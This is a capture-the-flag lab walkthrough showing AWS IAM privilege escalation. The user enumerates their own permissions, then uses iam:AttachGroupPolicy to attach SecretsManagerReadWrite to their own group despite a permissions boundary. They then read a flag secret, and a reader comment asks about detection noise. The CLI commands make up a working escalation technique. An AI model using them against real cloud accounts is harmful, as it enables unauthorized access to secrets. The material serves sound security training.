This lab doesn’t return a username so we need to know who we’re dealing with:
aws sts get-caller-identity
{
"UserId": "AIDAZWJD42J25BKLUHBX7",
"Account": "666332090997",
"Arn": "arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702934055655-SeniorDev"
}
Code language: JavaScript (javascript)
Now that we have our username, we’re ready to do some further enumeration:
aws iam get-user --user-name iam-attachuserpolicy-privesc-1702934055655-SeniorDev
{
"User": {
"Path": "/",
"UserName": "iam-attachgrouppolicy-privesc-1702934055655-SeniorDev",
"UserId": "AIDAZWJD42J25BKLUHBX7",
"Arn": "arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702934055655-SeniorDev",
"CreateDate": "2023-12-18T21:15:19+00:00",
"PermissionsBoundary": {
"PermissionsBoundaryType": "Policy",
"PermissionsBoundaryArn": "arn:aws:iam::666332090997:policy/BoundaryPolicy"
},
"Tags": [
{
"Key": "cybr-lab",
"Value": "auto-deployed"
}
]
}
}
Code language: JavaScript (javascript)
This command is important to run, because it’s one of the few commands that will return whether this user has any assigned permission boundaries or not.
As we can see, this user does have a permission boundary applied. Let’s try to get more information about this boundary.
aws iam get-policy --policy-arn arn:aws:iam::666332090997:policy/BoundaryPolicy
{
"Policy": {
"PolicyName": "BoundaryPolicy",
"PolicyId": "ANPAZWJD42J2WQJBKXH4T",
"Arn": "arn:aws:iam::666332090997:policy/BoundaryPolicy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 0,
"PermissionsBoundaryUsageCount": 4,
"IsAttachable": true,
"Description": "Managed policy to act as a permission boundary.",
"CreateDate": "2023-12-18T21:14:59+00:00",
"UpdateDate": "2023-12-18T21:14:59+00:00",
"Tags": []
}
}
Code language: JavaScript (javascript)
From a prior lab, we know that we can then retrieve the v1
policy:
aws iam get-policy-version --policy-arn arn:aws:iam::666332090997:policy/BoundaryPolicy --version-id v1
An error occurred (AccessDenied) when calling the GetPolicyVersion operation: User: arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702934055655-SeniorDev is not authorized to perform: iam:GetPolicyVersion on resource: policy arn:aws:iam::666332090997:policy/BoundaryPolicy version v1 because no permissions boundary allows the iam:GetPolicyVersion action
Code language: JavaScript (javascript)
Unfortunately, we don’t have access to view the restrictions from this boundary. That’s ok, let’s move on.
Let’s try to enumerate what permissions we do have.
aws iam list-user-policies --user-name iam-attachgrouppolicy-privesc-1702934055655-SeniorDev
{
"PolicyNames": [
"iam-attachgrouppolicy-privesc-1702934055655-senior-manager"
]
}
Code language: PHP (php)
Now retrieve the policy document itself:
aws iam get-user-policy --user-name iam-attachgrouppolicy-privesc-1702934055655-SeniorDev --policy-name iam-attachgrouppolicy-privesc-1702934055655-senior-manager
{
"UserName": "iam-attachgrouppolicy-privesc-1702934055655-SeniorDev",
"PolicyName": "iam-attachgrouppolicy-privesc-1702934055655-senior-manager",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:AttachGroupPolicy"
],
"Resource": [
"arn:aws:iam::666332090997:group/division_it/product_cheeta/engineering/development/iam-attachgrouppolicy-privesc-1702934055655-Developers"
],
"Effect": "Allow"
}
]
}
}
Code language: JavaScript (javascript)
We see one allowed action:
"Action": [
"iam:AttachGroupPolicy"
],
Code language: JavaScript (javascript)
And it’s set for the resource:
"Resource": [
"arn:aws:iam::666332090997:group/division_it/product_cheeta/engineering/development/iam-attachgrouppolicy-privesc-1702934055655-Developers"
],
Code language: JavaScript (javascript)
The beauty and danger of AttachGroupPolicy
is that it was designed to attach managed policies. That’s a lot of potential policies, some of which grant admin-level permissions! (Source).
Before we do anything with that though, let’s continue enumerating the rest of our permissions.
This tells us we have an inline policy for this specific user, but given that we’ve been running all sorts of other commands not listed there, we’re clearly getting permissions from somewhere else.
Just like with other labs (and following best practices), it probably means we are getting permissions from a group.
aws iam list-groups-for-user --user-name iam-attachgrouppolicy-privesc-1702934055655-SeniorDev
{
"Groups": [
{
"Path": "/division_it/product_cheeta/engineering/development/",
"GroupName": "iam-attachgrouppolicy-privesc-1702934055655-Developers",
"GroupId": "AGPAZWJD42J2UJAJQDC2O",
"Arn": "arn:aws:iam::666332090997:group/division_it/product_cheeta/engineering/development/iam-attachgrouppolicy-privesc-1702934055655-Developers",
"CreateDate": "2023-12-18T21:14:21+00:00"
}
]
}
Code language: PHP (php)
Now let’s list policies for this group:
aws iam list-group-policies --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers
{
"PolicyNames": [
"iam-attachgrouppolicy-privesc-1702934055655-developers"
]
}
Code language: PHP (php)
aws iam get-group-policy --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers --policy-name iam-attachgrouppolicy-privesc-1702934055655-developers
{
"GroupName": "iam-attachgrouppolicy-privesc-1702934055655-Developers",
"PolicyName": "iam-attachgrouppolicy-privesc-1702934055655-developers",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:ListGroupPolicies",
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:ListUsers",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:GetPolicy",
"iam:GetUser",
"iam:GetUserPolicy",
"iam:GetGroupPolicy",
"iam:ListUserPolicies"
],
"Resource": "*",
"Effect": "Allow"
}
]
}
}
Code language: JavaScript (javascript)
Ok so nothing earth shattering in this group policy, but it’s always still a good idea to enumerate as much as we can unless we’re trying to remain stealthy.
Going back to what we were saying earlier, we know we have access to AttachGroupPolicy
. How can we use that for PrivEsc?
If we pull up the AWS documentation: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/attach-group-policy.html we’ll see that we can type:
aws iam attach-group-policy
--group-name <value>
--policy-arn <value>
Code language: HTML, XML (xml)
The --group-name
will be the group we want to attach the policy to, which in this case will be the group that we’re part of:
aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers --policy-arn <value>
Code language: HTML, XML (xml)
But what about the --policy-arn
?
We can try to give ourselves admin access with the managed policy AdministratorAccess
and see what happens. If we go back to the AWS documentation and pull up that managed policy, we can find the ARN:
arn:aws:iam::aws:policy/AdministratorAccess
Code language: PHP (php)
Let’s issue our command:
aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702937208601-Developers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
An error occurred (AccessDenied) when calling the AttachGroupPolicy operation: User: arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702937208601-SeniorDev is not authorized to perform: iam:AttachGroupPolicy on resource: group iam-attachgrouppolicy-privesc-1702937208601-Developers because no permissions boundary allows the iam:AttachGroupPolicy action
Code language: PHP (php)
We get an access denied even though we didn’t see any restrictions in the policy. It’s gotta be a restriction coming from the boundary policy that we couldn’t get a good look at earlier.
We’re either out of luck or it might only be restricting certain managed policies. Let’s try a few more.
Let’s try some S3 ones, like AmazonS3FullAccess
arn:aws:iam::aws:policy/AmazonS3FullAccess
Code language: PHP (php)
aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702937208601-Developers --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
An error occurred (AccessDenied) when calling the AttachGroupPolicy operation: User: arn:aws:iam::666332090997:user/iam-attachgrouppolicy-privesc-1702937208601-SeniorDev is not authorized to perform: iam:AttachGroupPolicy on resource: group iam-attachgrouppolicy-privesc-1702937208601-Developers because no permissions boundary allows the iam:AttachGroupPolicy action
Code language: PHP (php)
Let’s instead try SecretsManagerReadWrite:
arn:aws:iam::aws:policy/SecretsManagerReadWrite
Code language: PHP (php)
aws iam attach-group-policy --group-name iam-attachgrouppolicy-privesc-1702934055655-Developers --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
Code language: PHP (php)
There’s no output back! That’s a really good sign as you probably know by now!
Let’s verify if it worked or not:
aws secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:666332090997:secret:iam-attachuserpolicy-privesc-1702837863157-final_flag-AJG9ix",
"Name": "iam-attachuserpolicy-privesc-1702837863157-final_flag",
"Description": "Secret containing a flag",
"LastChangedDate": "2023-12-17T11:31:06.827000-07:00"
...REDACTED...
Code language: PHP (php)
That worked! We definitely did not have SecretsManager access at the beginning of the lab, so we’ve successfully attached the managed policy SecretsManagerReadWrite
to our user.
Let’s capture the flag!
aws secretsmanager get-secret-value --secret-id <REDACTED>-final_flag
{
"ARN": "arn:aws:secretsmanager:us-east-1:272<REDACTED>-final_flag-UIKXY8",
"Name": "attachuserpolicy-final_flag",
"VersionId": "6680b520-4997-6cf6-9eb8-44c96e5acbb7",
"SecretString": "{\\"vault-password\\": \\"REDACTED\\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-12-14T15:23:11.506000-07:00"
}
...
Code language: JavaScript (javascript)
Congrats! Go ahead and copy/paste the secret value as the flag.
The solution references to `attach-user-policy` at some places instead of `attach-group-policy`, kindly update it so that people don’t get confused.
You’re right! Thank you for letting us know. We’ve corrected it 🙂
In this specific lab, we knew that we were to get access to SecretsManager values so we guessed and attached the permission related to it. In real world, if we encounter such scenario where we have access to iam:AttachGroupPolicy or iam:AttachUserPolicy permissions and the permission boundaries deny us to give ourselves sensitive permissions, would we try out attaching each managed policy 1 by 1 (manually or automated fashion) or would we resort to another approach to know which permission boundaries are in effect because the former approach may generate a lot of noise and alert the implemented security solutions like AWS GuardDuty.
This is a great question. If you have the ability to to attach a policy like AdministratorAccess, then that would prevent you from having to attach each managed policy 1-by-1 to see what would work. This would cut back significantly on noise and the amount of time it takes, but you would have to have access to do that. It wouldn’t cut back on the number of API calls you need to try to see what access you’ve been granted, though. Otherwise, if you don’t have that option, you could narrow down managed policies to try out. Not all managed policies are that helpful for an attacker. The best case though would be if you’re able to take a look at that permissions boundary to see what’s allowed and not allowed. Long answer short, you’ve got some options but it depends a lot on the scenario, and some stuff will generate a lot of noise no matter what you do (which is great for defense, not as great for red teamers!)
Makes sense, thanks!